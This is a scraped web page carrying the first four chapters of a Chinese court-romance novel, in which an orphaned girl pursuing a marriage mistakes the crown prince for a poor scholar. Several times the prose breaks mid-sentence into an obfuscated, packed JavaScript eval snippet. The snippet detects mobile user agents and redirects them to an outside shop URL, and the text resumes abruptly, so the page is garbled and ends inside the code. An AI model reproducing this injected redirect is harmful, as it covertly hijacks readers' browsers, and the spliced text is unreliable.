《裙下称臣》 1. 第 1 章 四月初七,春色渐满,斜风细雨过后,满园烟柳如画。 初春凉意尚存,江芙着一件轻薄飘逸的烟粉纱裙,纤腰玉带,不堪一握。 她肌肤白皙细腻,乌发如云,眸若晚星,就连露出的手指都好似白玉般莹润,轻颦浅蹙间风情无限。 “那位就是前几日到定安伯府上的江娘子?” “生得果真貌美,听说自打她住进去,伯府就没消停过,前几日定安伯的大公子和三公子还为她打了一架呢。” “这样的祸水,定安伯夫人也敢留吗?” “谁叫她娘和伯夫人关系好呢,如今她父母双亡,还带着个妹妹,这个时候把她赶出去,不叫人戳脊梁骨?” 莺莺碎语穿进江芙耳中,她却恍若未觉,只温柔娴雅地摇了摇扇子,指尖翘起的弧度都是精心计算过的优雅好看。 她不在意那些女郎说什么,只是有些后悔今日不该为了好看穿得如此单薄,今日游园会机会难得,各家公子都会露面,她可别人还没见到,先冻出风寒来。 正犹豫着要不要回去换件衣服时,身上突然一重,落了件厚实的披风,江芙一惊,侧身避过,再抬脸时已挂上了几分恰到好处的惊讶与羞怯:“三表哥?” 看好戏的眼神瞬间从四面八方汇聚过来。 来人正是定安伯府的三公子,也是前几日和江芙传了一段风流韵事,当今五公主的准驸马魏延年。 魏延年尴尬地收回手,道:“我是看你冷了。” 江芙以扇遮面,不着痕迹地往后退了退,道:“大表兄他们好似在投壶,表哥不与他们一起吗?” 她自认话中的赶人之意已表现得十分委婉且明显,但魏延年显然会错了意,闻言着急地上前一步,道:“芙儿,你可是还在为那天的事生气,我……我也没想到会惹出那么大乱子,还连累你被母亲责骂,是我的错,但你别躲着我好吗?” 江芙在心内叹了口气,道:“三表哥,你真的误会了,我没有生气。” 魏延年道:“可我总觉得你这些日子待我不如以前亲近。” 江芙凝眸看着他,有些为难。 诚然如魏延年所说,她一开始待他是很亲近的。 但那是在她不知道他已经有了未婚妻之前。 初入伯府时,魏延年温柔儒雅,忠厚可靠,确实是她一开始的目标,但没过多久,江芙就得知了他早就与五公主定亲的消息。 魏延年此人良善却软弱,不可能为了她反抗皇权,江芙只想给自己和妹妹找个终身依靠,也不想陪他做什么苦命鸳鸯,索性断了联系,但魏延年却不依不饶起来,给她送礼物时,碰上了来探视她的大公子魏延道。 早在江芙入府之时,魏延道就隐隐暗示过对她有意,只是他早已娶妻,江芙不愿做妾,就没搭理他。 魏延道一开始消停了几日,后来许是见江芙与魏延年疏远,觉得自己又有机会了,愈发殷勤起来,那日两人在她那儿撞见,兄弟俩本就不和,拌了几句嘴,最后竟大打出手,闹得十分难看。 此事过后,江芙名声大噪,被姨母叫过去敲打了几句,她心知伯府难以久留,这些表兄更是没一个值得托付的,这才不得不出来物色新目标。 江芙以扇掩唇,默念了一句寄人篱下万不可与主家撕破脸皮,再抬起头时,脸上三分尴尬,三分为难,四分拒绝层次分明,道:“表哥,实不相瞒,那日过后,外人都以为是我的缘故才引得你与大表哥相争,闲言碎语……实在难听。表哥,您就当为了妹妹的名声,不要再来找我了。” 魏延年急道:“旁人说什么与你我何干——” “表哥。”江芙仰起脸,眼底已隐隐有了泪光,恳求道,“表哥是男子,自然无所谓,可我身为女子,不能不在意。” 她抬手拭了拭眼角,伤心道:“我父母双亡,本就无亲无靠,若再毁了名声,这一生,也只能长伴青灯古佛了。” 面对这样梨花带雨的一张脸,是个男人都无法不心软,魏延年犹豫片刻,果真让步了:“好罢,芙儿,只是你不要再故意躲我了。” 江芙暗暗松了口气,道:“我待三表哥如亲哥哥一样,怎么会躲你。” 魏延年道:“那我们一起去赏花吧。” 江芙蹙眉:“表哥,你忘了我刚才说了什么吗?” 魏延年沉默片刻,还是有些不甘心,突然看到一旁的花丛,眼前一亮,道:“芙儿,我为你簪朵花吧!” 江芙本想拒绝,但看魏延年这幅样子,知道今天不让他尝到点甜头是不会走了,犹豫间,魏延年已大步走到花丛前,折了支开得最盛的花。 江芙咬了咬唇,温顺地垂下头。 鲜妍馥郁的花枝落在发间,美人娇艳羞怯,眼尾带红,比蔷薇更胜几分,魏延年一时看痴了,喃喃道:“芙儿,你好美。” 江芙垂下眼,嘴角浅浅勾出一个温柔羞涩的弧度,长睫掩映之下,看不清她眸底的神色,只觉水波荡漾。 落在旁人眼底,便是郎情妾意。 一桥之隔的花屏后,萧陵月恨恨拂袖,道:“自打那小蹄子来了伯府,延年都不怎么找我了,天天围着她转,还天天说她有多好,要我看,活脱脱就是一狐狸精,也只有延年那个傻子会被她骗。” “我与延年自幼定亲,从未见过他这样,他还说只把那小蹄子当妹妹,情妹妹才对吧!” “皇兄,你能不能帮我把那小蹄子赶出去啊,她爹娘死的早,只要把她赶出伯府,她就再也不能勾搭延年了。” 她念叨了半天,却始终没有人应声,一转头,见皇兄人虽还在她身后,但神思缥缈,信手拈花,显然没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011023|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在说什么。 萧陵月恼道:“皇兄!” “嗯?”萧隐这才回神,微笑看向她,“如你所言,那魏延年也不是什么好东西,不如皇兄做主,给你推了这门婚事吧。” 萧陵月一愣,结结巴巴道:“我、我只是想让那个小蹄子吃些教训,不想和延年取消婚约。” 萧隐松了松手指,缓缓道:“那你与皇兄说什么?” 言下之意,他无暇理会这些小女儿家的胡闹。 在他含着笑意的注视下,萧陵月后颈无端一凉。 春光之下,萧隐面容俊郎,高挺的眉骨与深邃的眼窝勾出一道极其凌厉的光影分界,金质玉相,身形颀长,玉色的衣袍上金纹暗布,整个人显出一种近乎金石的质感。 他虽微笑着,但眼底的冷漠也毫无遮掩,这让萧陵月不由想起,自己这位兄长三岁起就养在帝王膝下,受封太子,杀伐决断,生杀予夺。 朝中总称道太子殿下华瞻日月,温润和煦,但她清楚,萧隐是个冷心冷肺的人。 她与他虽为同胞兄妹,实则并不亲近,只是他表面的宽容让她时常忘了这点。 萧陵月立刻收敛了脾气,道:“是我胡闹了,皇兄。” 萧隐满意地转过头,这才好心的给她出谋划策:“不过是一个女郎,再貌美又能如何?你若不喜,逼魏家送走她就是,何须这样挖空心思。” 话音落下,两人同时看到了桥上眉目传情的一双璧人。 男子风度翩翩,温文尔雅,女子仙姿佚貌,风情万种。 萧陵月立刻反应过来,上前一步,怒道:“这个贱人!” “皇兄,你不是说再貌美又能如何吗?”萧陵月吸了口气,强自镇定下来,抬了抬下巴,道,“喏,就是她,你都看到了。” 萧隐神色不明,落在那女郎身上的目光沉静如水。 她低头柔顺的让男子给她簪花,而后扶了扶鬓间蔷薇,羞怯一笑。 芙蕖映月,春水照柳。 低头时,露出的那一截颈子,白得发腻。 如此的……精致。 他不自觉捻了捻手指,却捻破了指间夹着的蔷薇。 花汁溅了他一手,萧隐不紧不慢地将那朵被他蹂躏得不成样子的蔷薇扔掉,而后抽出帕子,慢条斯理擦了擦手。 他擦得很仔细,一个简单的动作叫他做来,都有种风雅闲散的贵气。 很快,那双骨节分明,肌理匀称的手恢复如初。 但手帕上染了花汁,很难洗掉了。 萧隐浅浅蹙了下了眉,将手帕一并扔了。 再抬起头时,已人去桥空。 皇妹仍在他耳边抱怨,萧隐斜倚栏杆,意兴阑珊。 花汁黏腻的触感好似还残留在指尖,他阖上眼,再一次,缓慢地捻了捻。 2. 第 2 章 好容易打发走魏延年,江芙松了口气,去拿他簪在鬓间的花,但不知他是怎么弄的,扯了半天都扯不掉,江芙临水自顾,觉得这样也不是很难看,索性这么放着了。 她理了理裙摆,重整旗鼓,往人多处去。 热闹的人声在她到来那一刻有一瞬微妙的安静,然后纷纷不约而同忽视了她,江芙面不改色,走到一株牡丹花前假装赏花,心下却轻轻一叹。 托魏延年的福,她这名声可真是越来越差了。 她得快些把自己嫁出去,再晚些时候,即使有郎君心悦于她,家中父母怕也会有所顾忌。 可一时半刻,她又去哪里找门风清正,人品忠厚的郎君呢? 正是烦忧之际,几句细碎的嬉笑顺着风飘了过来。 “你莫要骗我,那个肖举人还未娶妻?你听谁说的?” “我爹啊,他想为我姐姐说项,只不过我姐姐不愿意,嘻嘻,我爹快急死了。” “为何?肖公子一表人才,眼瞅着中了举人,有大好前程。” “他家境贫寒,还有一寡母需要赡养,我姐姐那个脾气怎么会愿意。他长得真的很俊吗?要是好看,我回头劝劝我姐姐。” “好看的,方才你不见着了吗?那个穿玉色衣袍的就是。” “唔,那确实很俊,我要去和我姐姐说。” 两人嘻嘻哈哈推搡着走远,江芙低首嗅花,眉眼沉静。 不多时,她转身去了那两个女郎来时的花厅。 此处宾客众多,人声蹿杂,江芙执扇半掩秀容,避过几个端着瓜果的婢女,美眸悠悠一扫,盈盈看向坐于首席那人。 这里只有他一个穿玉色衣衫的人,想来就是那两位女郎口中的肖译。 江芙以团扇掩面,不着痕迹地打量着此人。 男人嘴角噙着一抹浅淡的笑意,身姿雍容,气度高华,虽在席间有如众星捧月之势,但谈吐并不热切,偶尔出声,得了应答的人便如获至宝,喜气洋洋。 看来这位新科举人,真是炙手可热。 肖译这个名字,她早就在姨母口中听过。 春闱放榜后,姨母有意为表妹相看人家,列了长长的一串单子,肖译就在其中。 但最后还是不了了之。 只因肖家家底太薄,纵有丰厚的嫁妆,姨母也怕表妹嫁过去吃苦。 彼时江芙也在场,姨母无意于此人,她自然点头称是。 但她也清楚,肖家的情况,不会持续太久。 二十岁的举人,才学自是不必多说,肖译中举前也有媒人为他说项,他却以家境贫寒,不敢拖累旁人拒绝了,此人人品端正,可见一斑。 这样的人,日后在官场上定是前途无量,且肖家这样的情况,想来也不会太嫌弃她家道中落。 江芙心内有了计较,挑了个角落坐下。 几乎在她落座的同一刻,萧隐的目光便落到了她身上。 女郎云鬓秀颈,婷婷玉立,似一株开得正好的水仙花,他实在很难不注意到她。 不仅是他,席间有不少郎君,都在偷偷看她。 更何况,江芙进来时,看了他许久。 这女郎貌美不假,满腹算计也是真,不知看他的那会儿功夫,又想了些什么。 萧隐饮下一口酒,竟是难得的好心情,坐在这儿听他们说了许久废话,也没有离开的意思。 但除了这些废话外,也始终没有发生什么有趣的事。 萧隐再看过去时,江芙已经在低头研究桌上的吃食了,认真的模样活像八辈子没见过糕点一样。 他顿觉乏味,放下酒杯,道:“我去看看姑母,各位自便。” 这场游园会的主人正是萧隐的姑姑,康平长公主。 他一说要走,众人遗憾之余,也松散许多,纷纷起身相送,萧隐摆手示意不必,径自离去。 这时,众人才嘻嘻哈哈的取笑起席间的一位蓝衣郎君:“肖译,你怎么还偷偷去换了衣服啊?” 那蓝衣郎君抹了把额头的汗,道:“你们怎么不和我说今日太子穿的也是玉色衣衫,幸好我提前看见了,不然多尴尬。” 众人笑:“你怎么这样谨慎,太子宽和待下,不会在意这些的。” 蓝衣郎君道:“在朝为官,谨慎点总是没错的。” 一表人才,正是今春的新科举人肖译。 话落,远处忽然传来一阵碎响,众人翘首看去,只见门厅之处,一方小案打翻在地,溅出的酒液打湿了太子的衣袍。 众人大惊,忙离座上前。 混乱之中,萧隐眼疾手快,拉住了那个踩住自己裙摆,差点摔倒的女郎。 他的手隔着薄纱轻袖在她腕上停留一瞬,就很礼貌地收回了,饶是如此,江芙也羞得面红耳赤。 她满脸歉然,连连道歉:“不好意思,公子,我没看前路,这才不小心撞了你。” 言辞恳切,低头认错的动作都完美到挑不出一丝瑕疵,正好露出她纤长的脖颈。 好似轻轻一折就会断掉。 周围的人急忙上前,道:“太……” 萧隐抬手打断,道:“无妨,我去换一身就是。” 江芙仍是满脸不安,道:“公子不介意的话,可以把换下的衣物交给我,我带回家洗好后再交还公子。” “不必了。”萧隐微笑道,“一件衣服而已。” 初次见面就把对方的衣服拿回家洗,这确实太逾矩了,江芙不意外他的拒绝,歉意表达到位后,就离开了。 几个平日就跟着萧隐鞍前马后的公子哥围上来指挥婢女撤走小案,收拾残局,萧隐低下头,掸了掸自己被果酒沾湿的衣摆。 突然,他俯下身,从鞋面上捡起一样东西。 烟粉的手帕,上面带着和那女郎身上如出一辙的熏香。 江芙走时落下的。 众人的神情一瞬间变得有些微妙。 萧隐这样的身份,从不缺人给他送女人,但他向来洁身自好,东宫至今一房妃妾都无。 也不是没有世家娘子给他献过殷勤,但这样粗糙而直接的手法,还是第一次见。 但想到方才那女郎出色的容貌,众人沉默之余,也理解了她的大胆。 诡异的气氛中,萧隐面不改色地收了手帕,道:“许是她不小心落下的。” 太子仁善,即便遇到这种事,也愿意给那女郎最后一丝体面。 众人给萧隐的行为找好了解释。 萧隐就这样,光明正大地携着那方手帕离开了。 他换好衣服,找人问清了江芙的去处,心情愉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011024|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悦地带着手帕去见她。 小亭三面临水,风过回廊,凉意透骨。 江芙鼻尖泛红,手捧一盏热茶,保持着一个优雅的姿势,静静欣赏湖景。 她当然知道这里冷,但这里的景致,这个亭子的亭帷和她衣服的颜色是最搭的,其余的都差些意思。 她也知道自己伎俩很拙劣,但她依仗的从来不是那些花里胡哨的手法。 很多事情,都是愿者上钩。 桌上线香燃尽,江芙回眸,惊讶道:“肖公子?” 萧隐含笑坐下,彬彬有礼道:“江娘子,我来还你的手帕了。” 江芙疑惑道:“手帕?” 萧隐道:“江娘子走得急,把手帕落下了,我一路打听,才找到这里。” 烟粉色的巾帕上除了女郎的熏香,还沾了一丝极淡的,有如松柏般清淡的冷香。 落在江芙手里时,还尚有余温。 江芙感激地道:“多谢公子,这手帕对我很重要。我身无长物,就在此借花献佛,用这园中的热茶谢过肖公子归还之情吧。” 她的手段当真是简单直接,萧隐心中好笑,但还是没有走,反而款款微笑道:“那真是太谢谢江娘子了。” 江芙微微一笑,一手执壶,壶身倾斜,水流倾泄而出。 轻纱衣袖随着她的动作滑落,露出一截莹白如玉的小臂。 细腻,莹润,好似泛着一层柔亮的光。 萧隐目光在她小臂上停留片刻,没有任何冒犯,始终保持着一个温和而礼貌的微笑。 但他突然有些渴了。 江芙将茶盏推向他。 莹白一闪而过。 萧隐神色未动,眸光却隐隐深了些。 江芙将茶具一一归好,问:“肖公子怎么知道我姓江?” 萧隐道:“今日穿烟粉色的女郎不多,娘子生得又如此出众,稍微一打听不就知道了吗?” “就像娘子,未问名姓,也知道我姓萧。” 他这话带了些若有似无的讽刺,毕竟江芙没有不认识他的理由,如此蓄意接近,用心不必多说。 江芙闻言,心下了然。 此人明显自矜才学,颇为傲气。 寒门才子,又是二十岁的举人,这般想也不足为奇。 但她也不想太捧着他,以免落入下风,只是微微笑道:“肖公子新科及第,正是春风得意,自然无人不晓。” 新科及第? 肖译? 萧隐神情变得有些微妙。 他立刻意识到,江芙认错人了。 不知怎么,她把他认成了肖译。 她原本要找的,也是肖译。 但很快,他笑意更深了些,谦虚道:“江娘子过誉了,肖某不过一寒门书生,能有今日,侥幸而已。” 对方态度转变如此之大,江芙始料未及。 她低头饮了口茶,借此定了定心神。 却不知她饮茶时,萧隐笑吟吟地,把她从头到尾,重新打量了一遍。 江芙面上带着真心实意的钦慕,道:“肖公子何必这样自谦,公子的才学我早有所闻,心向往之。” 萧隐但笑不语。 他就这么看着江芙头上戴着魏郎的花,口中叫着肖郎的名,对他献殷勤。 3. 第 3 章 明媚春光下,萧隐面含笑意,似乎在很专心地听江芙说话,江芙却莫名在他眼底,读到一丝若有似无的戏谑。 她眉心一跳,萧隐已温声开口,问道:“江娘子读过我的诗文?” 江芙当然没读过,但这个时候若说没有,就显得她方才的话太不诚恳了。 她微微一笑,泰然道:“读过几首肖公子的诗作。” “哦?”萧隐来了些兴致,探身问,“读过哪几首?” 江芙失笑:“公子是教书先生,在考我课业吗?” 萧隐神情自若:“只是有些好奇。” 江芙眸光流转,反问道:“不如公子猜猜,我最喜欢的是公子的哪首诗?” 萧隐笑意愈深。 从江芙说第一句话开始,他就知道,她在故弄玄虚。 别说读过肖译的诗,她怕是连他及第的文章叫什么都不知道。 但不巧,这一批新科举子的诗文萧隐都看过。 他一腿曲起,手臂自然地搭在桌上,继续不紧不慢地钓江芙:“娘子端庄娴静,想来最喜欢的,当是我那篇赏雪。” 江芙定定看了他半晌,疑惑道:“公子写过赏雪的诗吗?” 肖译当然没写过,但不妨碍萧隐胡扯,他从容颔首:“写过的,是几年前的拙作,少有人知。”说罢,有些遗憾:“我还以为江娘子如此欣赏我的诗文,会看过这首呢。” 反将一军。 江芙暗骂这人滑头,但其实她也摸不准,萧隐说的是不是真的。 前面萧隐问起她最喜欢哪篇诗作时,江芙已隐隐有感觉,他在诈她。 所以江芙给了个模棱两可的答案,若是他真在诈她,那她的回答自然挑不出错,若他写过,她也可以借口说没看过。 偏偏萧隐是这个反应。 江芙本已料定他在说谎,但萧隐面上的失落实在做不得假。 萧隐十分贴心道:“江娘子,没看过也无妨,那首诗确实写得拙劣,不堪入目。” 对上他含着笑意的眉眼,江芙思索片刻,低低叹了口气:“肖公子,莫骗我了,你根本没写过这首诗,对吗?” 这回换萧隐疑惑了,他好看的眉微微蹙起,不解道:“江娘子何出此言?” 江芙脸不红心不跳,笃定道:“因为公子的诗文我都看过,真的没有这首诗。” 萧隐顿了顿,道:“江娘子说对了。” 不知为何,谎言被揭穿,他好似还更高兴了点。 江芙有些不虞:“我真心钦慕公子才华,公子为何要这样戏耍我。” 见她真的面露不快,萧隐轻咳一声,正色些许,道:“并非我有意戏耍娘子,只是我中举以来,有不少人说过钦佩我的才华,实则连我的一文半字都没读过,江娘子方才言辞恳切,不似作伪,我才忍不住试上一试,冒犯了娘子,是我之过。” 这解释勉强说得过去,江芙抬眸瞥他一眼,见他表情诚恳,气已消了三分,又想到自己也是在骗他,隐隐有些愧疚,语气也软了下来:“无妨,但以后不要这样了。” 萧隐忍笑:“好。” 他为江芙续了杯茶,问:“今日游园,怎么只见江娘子一个人,不与闺中姐妹一起吗?” 江芙道:“我初来江阳,在这里没什么朋友。” 萧隐挑眉,露出一个讶异的表情,道:“我听人说,娘子暂居定安伯府上。” 江芙道:“我父母亡故,来江阳投奔姨母。” 萧隐歉然道:“是我多嘴了。” “没什么。”家中之事,江芙不想多提,理了理思绪,游刃有余地换了个话题,“听说肖公子是滁州人,此番上京赶考,高中举人,该是喜事,不知公子准备何日将家眷接来同住?” 她抬起眸,眼睫如一把小扇子柔柔扫过,又是一片烟水濛濛。 萧隐方才的试探虽让她有些不快,但也足以看出此人足智多谋。 比起魏延年那样拎不清的人,与聪明人打交道,总是要更省心省力些。 萧隐闻言,面露感伤:“我父早已离世,母亲有疾,不便挪动。” 江芙假装关切:“令堂是……?” 萧隐道:“风湿骨痛的老毛病了,年纪大了,总不见好。” 江芙颇有些哀悯:“老人家大多如此。” 她母亲还未离世前,也因长年随父亲奔波在外而患上了痹症,每逢阴天下雨,常常双腿肿胀无法行走,吃了许多药也不见好。 她想了想,道:“家母生前也是如此,我家中还有些方子,对风湿骨痛颇为见效,公子若不嫌弃,改日我差人送到公子府上。” 萧隐有些意外,但还是含笑应下:“如此,就先谢过娘子了。” 江芙道:“不必客气。” 余晖渐浓,萧隐看了眼天色,道:“时辰不早,我朋友还在等我,江娘子……” 今日聊得确实也够多了,江芙心领神会,起身道:“我送送肖公子。” 萧隐道:“娘子留步,我识得路。” 江芙冻得要死,本来也不想动,便目送萧隐离去。 岂料男人走了几步后,又突然想起来什么,折返回来。 一件温暖厚实的披风落在她肩头,江芙微愣。 萧隐道:“今日天冷,娘子还是不要穿得如此单薄了。” 松柏般的冷香扑面而来,人虽走远,香气尚存。 江芙拢着披风,轻轻垂下眼睫。 她现在很确定,肖译也对她有意。 晚霞满天,萧隐负手于小径独行,途径一簇蔷薇花丛,驻足片刻,折了一枝。 他眼含笑意,将这枝开得娇艳欲滴的蔷薇拿在手中把玩一阵,直到那花瓣不堪重负,露出萎靡的样子,才收了手,带着一身恬淡的花香,去了康平长公主处。 康平长公主乃天子胞姐,今年六十有八,老太太年纪虽长,却精神矍铄,比同龄人都要硬朗几分。 萧隐去时,她正和几个年轻女郎聊着什么,见他来了,对左右道:“瞧瞧,说曹操到曹操就到,可见不能背后念叨人。” 萧隐不动声色地扫过一屋子莺莺燕燕,含笑道:“姑母这是怪我来得不巧。” 康平长公主失笑,点了一点他,笑骂道:“瞧这张嘴!我老婆子是说不过你喽,不知日后娶了媳妇,还是不是这般不饶人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011025|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >众人掩唇而笑,有几个胆大的女郎悄悄抬眼去瞅萧隐,不知想到了什么,面颊微红。 萧隐恍若未觉,只淡定饮茶。 康平长公主见状,暗叹一声,摆手让女眷们都退下,才问:“当真一个中意的都没有?” 萧隐道:“您不是知道吗?我无心于此。” 康平长公主叹道:“我前几日见了你母后,她总说自己身体不好,时日无多,对你的婚事很是担忧。” 萧隐道:“母后是过于忧虑了。” 康平长公主道:“我办这场游园会是为了什么,你心中有数,既然你来了,就说明你不是全然无意于此,眼下也无外人,你仔细与姑母说说,你到底为何一直不愿成亲?” 萧隐无奈:“我何时不愿了……” 康平长公主道:“那是为何?你有心上人了?还是有什么难言之隐?” 萧隐的婚事已拖了许久,这些年来,几个比他年幼的弟弟都已成亲,唯独萧隐,对选妃娶妻之事始终避而不提。 莫说娶妻,就连亲近的女子,都未有一个。 帝后对这个优秀的儿子向来宽容,但眼见他年岁渐长,也不由心焦,就连康平长公主这样开明的长辈,也不免多心。 年轻儿郎,大好年岁,身体健硕,为何就不愿娶妻呢? 眼看着康平长公主越想越偏,萧隐按了按眉心,颇有些头疼。 他于娶妻一事,确实谈不上不愿。 但也无甚兴趣。 有些人娶妻是为了妻族的助力,可萧隐能力出众,储君之位稳如泰山,妻族无法为太子提供任何好处,太子妃之位却可以给家族增光。 而于萧隐而言,他冷情寡欲,对夫妻相处本也没有任何兴趣,选妃娶妻,不过是又多了一个需要应付的人,且这个人还要与他朝夕相处。 光是想想,便觉得麻烦。 康平长公主见他不语,继续劝道:“寻常人家像你这个岁数,孩子都五六个了。” 萧隐哭笑不得:“是猪仔么,这么能生?” 他今年也不过二十。 康平长公主嗔道:“胡说什么!” 她顺了口气,继续语重心长道:“姑母的意思是,就算你不喜欢,好歹也选几个回来在后院放着,东宫无人,传出去也不像个样子。” 这样的念叨每隔四五日便会有一次,萧隐无奈道:“我都知道。” 康平长公主一看便知他在敷衍,并不接招,继续逼问:“那你给个准话,什么时候成亲?” 萧隐哑然:“这怎么说得准。” 康平长公主道:“你就骗我老人家吧。” “我真没骗您,姑母。”萧隐道,“我已令礼部着手准备选妃,不日便会有结果了。” 康平长公主狐疑道:“真的?” “这样容易拆穿的谎话,我说来干嘛。”萧隐冷静道,“正如您所说,我确实该娶妻了。” 东宫无妃,不仅帝后心急,各方虎视眈眈,还会令朝臣们心中不安。 不然一向不愿出席宴饮游乐的萧隐,今日也不会出现在康平长公主的游园会上。 这本身就是一种明确的信号。 4. 第 4 章 夜凉如水,江芙披着一身皎皎月色,谢绝了魏延年要送她回屋的要求,回了自己与妹妹暂住的小院。 小院灯火融融,破旧的竹篱上挂着一盏小灯,堪堪照亮门前,江芙取了灯,推门入户,笑道:“猜猜是谁回来了呀?” “姐姐!”江薇抓着一只草编蚂蚱,欢快的扑到江芙怀里。 江芙摸摸她的头,对收拾残局的云翘说道:“你先去休息吧,这里交给我。” 地上铺了一大堆草叶,还有些歪歪扭扭的小蚂蚱小蛐蛐,都是她们今天下午编的。 云翘道:“小姐先陪二小姐,我弄完这些就去睡了。” 江芙有些愧疚:“辛苦你了。” 云翘是她六年前在人牙子手里买下来的,当时那人说这丫头再卖不出去就打断腿扔去街上乞讨,江芙一时心软,花了二十两银子买了她。 父亲还在世时,家中尚没有这样艰难,江芙就留了她在院中做个粗使丫鬟,后来父母相继亡故,江芙来江阳投奔姨母,给家中仆役分了钱各去各的,只有云翘不愿意走。 江芙想到江薇年幼,需要人照顾,自己在定安伯府,也少不得有人替她走动,便留下了她,这段时间来江芙在外行走,云翘里里外外帮了她不少,还要兼顾江薇,江芙感动之余,也愈发惭愧。 云翘摇摇头,道:“不辛苦,都是奴婢应该做的。” 江芙鼻头一酸,江薇拉拉她的袖子,把草编小蚂蚱捧到她面前,大声道:“这是薇薇编给姐姐的!” 她这会儿正在换牙,一笑就露出两个大黑洞。江芙扑哧一笑,蹲下来道:“薇薇小蚂蚱编得真好,姐姐要给你奖励。” 她说着,变戏法一样从身后掏出一小包糕点:“锵锵!薇薇最喜欢的奶白糕哦!” 是她今日在游园会上顺回来的。 江薇喜出望外,江芙拍拍她的小脸,叫她去一旁吃,自己和云翘一起收拾草叶。 她一边收拾,一边顺手编了几个漂亮的小蚂蚱,道:“我得拜托你一件事,过几日,麻烦你一样东西送到城东一户人家。” 肖译住在哪不难打听,回来时她套了魏延年几句就套出来了。 江芙想着,这份方子送过去,肖译总该念她几分好,吃人嘴软拿人手短,他收了东西就要回礼的,一来二去,不愁两人熟识不起来。 她每天在外面搞些什么,云翘也略知一二,问:“要留下姓名吗?” 江芙想了想,道:“只说是江娘子送的。” 她不好顶着定安伯府的名头招摇,但说江娘子,肖译定会知道是谁。 云翘点点头,突然道:“明天又是十五了。” 江芙平静道:“是啊。” 每月初一十五,是她惯常去给姨母请安的日子。 江芙的姨母郭氏就是如今的定安伯夫人,论起血缘,她与江芙其实算不得亲近,早已出了五服,只是郭氏父亲早年犯事,幸得江芙外祖搭救,捡回一条命,两家这才结下一层善缘。江芙父亲死后,母亲伤心过度,一病不起,弥留之际,去信给郭氏,希望她能看在两家昔日情分上,收留两姐妹。 江芙这才来了江阳。 一开始见到这两个远房侄女时,郭氏尚算和善,但自打魏延道魏延年两人在她院中大打出手后,她态度便有些微妙了。 江芙看在眼里,却也说不得什么。 她只知道,定安伯府,她们待不了太久了。 她得在这之前,为她和妹妹找到安身之所。 烛火明灭,一晃天明。 江芙一身淡蓝曲裾,低调素净到了极点,给郭氏请完安后就安静地缩在一旁。 定安伯府家大业大,光庶女就有十几个,每次请安都是男女分开的,不然屋里根本站不下这么多人。 郭氏看着是个极好相处的妇人,面容和善,眉眼带笑,说话时声调不轻不重,拿捏得恰到好处。 就是这样一位好相与的妇人,把定安伯二十几房姬妾治得服服帖帖。 郭氏训完话后,众人又是恭维一番,五姨娘道:“瞧我们四小姐,真是出落得如花似玉,与邱小侯爷的好事怕是快了吧。” 四小姐魏清婳眨眨眼,无辜道:“什么邱小侯爷?五姨娘,你在说什么?” 五姨娘笑容一僵,满脸尴尬:“不是说已经定下了吗……” 郭氏道:“那邱小侯爷年岁太轻,到底不稳重,我们清婳得嫁个会疼人的郎君。” “再者。”她满意地看了一眼魏清婳,“宫中放出消息,太子不日选妃,侯爷的意思是让清婳去碰碰运气。” 屋内静默一瞬,随即隐隐有点躁动。 江芙打眼一瞧,就知道这屋子里和郭氏打着同样主意的人不在少数。 但这与她无关,她又往后退了退,免得战火烧到她身上。 五姨娘和自己女儿对视一眼,勉强笑道:“清婳这样漂亮,是应该的。” 郭氏品了口茶,清了清嗓子,道:“容貌倒是其次,最重要的是,清婳德容言功,无一不佳,这才是大家闺秀该有的样子,光有一身漂亮皮囊,不修德行,传出去也只会让人家笑话。” 这话的指向性太明显,众人纷纷看向江芙。 江芙无声一叹,深吸一口气,抬起脸笑道:“姨母说的是。” 伸手不打笑脸人,郭氏看了她半晌,没再说什么,摆手让人散了。 江芙落在最后,九小姐魏清姗见她孤零零的,想过来安慰几句,被自己母亲瞪了一眼,又灰溜溜跟着母亲走了。 江芙目送这两人离去,回了屋,整理母亲生前的药方。 她的母亲谢氏早年也是出身高贵的士族小姐,与父亲门当户对,青梅竹马,两家早有婚约,后来谢氏的哥哥牵扯进一场贪腐案,牵连全族,世家小姐一朝跌落凡尘。 谢家出事后,江芙祖母本欲悔婚,但因江父一再坚持,最后只得让谢氏先以妾室的身份进门,等生了儿子后再扶正。 谢氏彼时因家族败落受尽苦楚,身体本就不好,因着婆母的要求,成亲没多久就怀了江芙,千辛万苦生下来,谁料竟是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 